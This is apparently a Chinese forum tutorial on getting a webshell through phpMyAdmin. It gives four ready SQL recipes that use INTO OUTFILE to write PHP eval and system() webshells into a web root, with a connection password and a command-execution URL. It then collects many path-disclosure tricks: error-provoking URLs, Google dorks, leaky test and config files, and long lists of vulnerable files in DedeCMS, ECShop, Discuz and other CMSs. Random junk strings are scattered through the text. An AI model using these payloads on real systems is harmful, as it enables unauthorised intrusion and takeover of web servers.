phpmyadmin后台拿shell

admin

方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
2 L9 [- _3 p( Q2 s/ }/ |INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
7 k$ m0 Y! w, Y, N7 f% l一句话连接密码：xiaoma

方法二：
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
- [* j1 k2 {2 N Drop TABLE IF EXISTS xiaoma;

方法三：

读取文件内容：    select load_file('E:/xamp/www/s.php');

写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

cmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'


方法四：
select load_file('E:/xamp/www/xiaoma.php');
8 F+ X' d% C- Y
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir

2 B4 [" b" c! y9 s1 R$ l

9 L) Q. d% q8 M6 m1 }1 j3 R1 }
4 S- r7 k, o% n1 N: Y. P
php爆路径方法收集 ：

4 B3 C9 l/ v8 ]6 N
7 x. h* Y: }, W# R1 i
7 d+ D8 g% s; }6 t' p1 A2 Z1 _
1、单引号爆路径
' Q* P* m! i, ]* f. I5 |说明：
直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
# W# P6 u9 D# |6 J; C" x
2、错误参数值爆路径
说明：
/ D4 \9 ^1 t) I, [- S5 y4 S' Z5 g0 u; u: z将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
. i/ Z# \! @$ d2 j  Y- Wwww.xxx.com/researcharchive.php?id=-1

8 e. X/ L' {& m! g. T! ~; p3、Google爆路径
5 N# c8 S0 l% t; u说明：
结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
" c' b4 U# o+ z3 H7 rSite:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
& p$ D; f& W  n# N7 b6 L# s
! ^8 w7 w  I- E+ g/ q6 p/ @% Q4、测试文件爆路径
说明：
9 t+ |$ g, t" X' o7 D4 W$ k& G很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
% \$ U$ W( v3 |; M/ S! ~7 owww.xxx.com/test.php
& W( W( l" b5 d/ [! W0 Fwww.xxx.com/ceshi.php
8 q3 H4 C) }: k; ~' P" ]www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
9 E# X* _& {8 \( O+ D4 D
. L- A* n: t, @- k2 ?  _5、phpmyadmin爆路径
说明：
一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
- Y: A* F8 N: W7 s2 s1. /phpmyadmin/libraries/lect_lang.lib.php
8 j. [( e/ P" o5 x8 @) L) ^, h2./phpMyAdmin/index.php?lang[]=1
" V4 o8 K1 O) @0 b1 a8 V  n9 L9 v3. /phpMyAdmin/phpinfo.php
# Z: H- L  }, J' }3 ?* Z  T4. load_file()
/ q6 W9 w  g; P" o! E! h+ N* B& h5./phpmyadmin/themes/darkblue_orange/layout.inc.php
! D: V" U$ n& L* P6 t% y6./phpmyadmin/libraries/select_lang.lib.php
. n% B8 v( R9 R+ d+ p7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

! `5 c6 o- t. s) G6、配置文件找路径
说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。

9 Y2 p5 ]1 z+ eWindows:
9 N1 h% [0 W; {# a; ec:\windows\php.ini                                    php配置文件
4 g/ p* j9 p; w. g& u( Oc:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件
  l, O& B* h; [; P5 B
Linux:
/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
$ Z7 O1 M  G& v/etc/httpd/conf/httpd.conf                             Apache配置文件
) k9 M4 g& z/ j/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
0 o, Y8 w6 P  [  [6 s
7、nginx文件类型错误解析爆路径
- ], D* Q- `; C# A  C说明：
2 n) p% b( o$ v( j* e( ^# l/ z这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
7 q: }3 h0 T2 mhttp://www.xxx.com/top.jpg/x.php

% D8 v$ _6 P1 _8、其他
7 S+ q; p- V& j1 p0 u& S& V- adedecms
/member/templets/menulit.php
+ U! m7 o+ ?: a7 aplus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
# d$ U: S% O0 M9 z: d" Pplus/task/dede-maketimehtml.php
3 l& P( x' \" X8 F8 \! ^plus/task/dede-optimize-table.php
9 t& [" T( F  _& y7 G. |5 R! Hplus/task/dede-upcache.php

( M. x. d9 a* {" J6 s  n, P! g+ FWP
  v* R7 i8 A! w( H& gwp-admin/includes/file.php
8 W- {+ ?5 X! G8 c; c* Rwp-content/themes/baiaogu-seo/footer.php
" [6 a/ |6 D1 n* H
ecshop商城系统暴路径漏洞文件
: x/ X0 m$ K6 M4 G5 K* l, F- C/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
3 B+ {# G3 Z5 B0 U/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
+ C. X& J( x7 ~& F. f/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
2 m+ n3 _; m# {$ U2 R8 V/temp/compiled/user_menu.lbi.php
* W4 E# x+ f) ?$ g' A! \/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
* [* g$ p4 O8 u$ K/temp/compiled/admin/page.htm.php
4 Y+ g- }4 }! r/temp/compiled/admin/start.htm.php
4 y$ \4 E* u3 t: V. }/temp/compiled/admin/goods_search.htm.php
. c" X6 y. o; U/ N/ k) T% i8 g7 O/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/ j4 _; T2 G( _$ W* M' Q" C/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
+ |  f7 g5 Q; M/temp/compiled/admin/top.htm.php
+ c( @" M. p( R/temp/compiled/top10.lbi.php
& N. `7 f2 x: Z- v/ [/temp/compiled/member_info.lbi.php
1 @8 P- ~  m& A5 l% ?/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
) H4 ^( X- L: u/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
% X( q& {' E( P/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
1 a3 J8 f+ k& `1 ^' J. e/ {' ^4 h/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
. T9 Y3 G; H' n) ~5 C5 ^' h/temp/compiled/comments.lbi.php
) ^- L- H' F& s0 O$ b, p7 V% ]/temp/compiled/myship.lbi.php
& ~' L" n; ~  w7 b/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
! ]3 ?; @- \; s: n( E
3 o0 F$ N8 Q, j* T) p5 v( Ducenter爆路径
ucenter\control\admin\db.php
* V) T! `. E3 h+ J2 Q' J; }+ C2 ^
! {( ?9 F% j, k5 o# A$ ?DZbbs
' k4 ^5 B+ h; |8 i( omanyou/admincp.php?my_suffix=%0A%0DTOBY57

z-blog
% x2 f7 p* L, m6 o1 u5 N1 Eadmin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
3 S" _/ k1 C# `- N
php168爆路径
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
/ n# [' B- [0 E8 u' n) x8 Sadmin/inc/ajax/bencandy.php?job=do
+ _# x* ?  ]) z; n" jcache/MysqlTime.txt

PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif
7 @' w9 g$ G2 P; a+ t) }
4 i6 L, B0 d) K! n8 U+ [bo-blog
PoC:
/go.php/<[evil code]
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
: v2 ?. k% w7 i6 ~9 x7 }, P7 |. Q/lib/default/ballot_act.php
lib/default/special_act.php
" E& d  n* {# ^
: J/ k/ A5 K. t, C. X3 y( r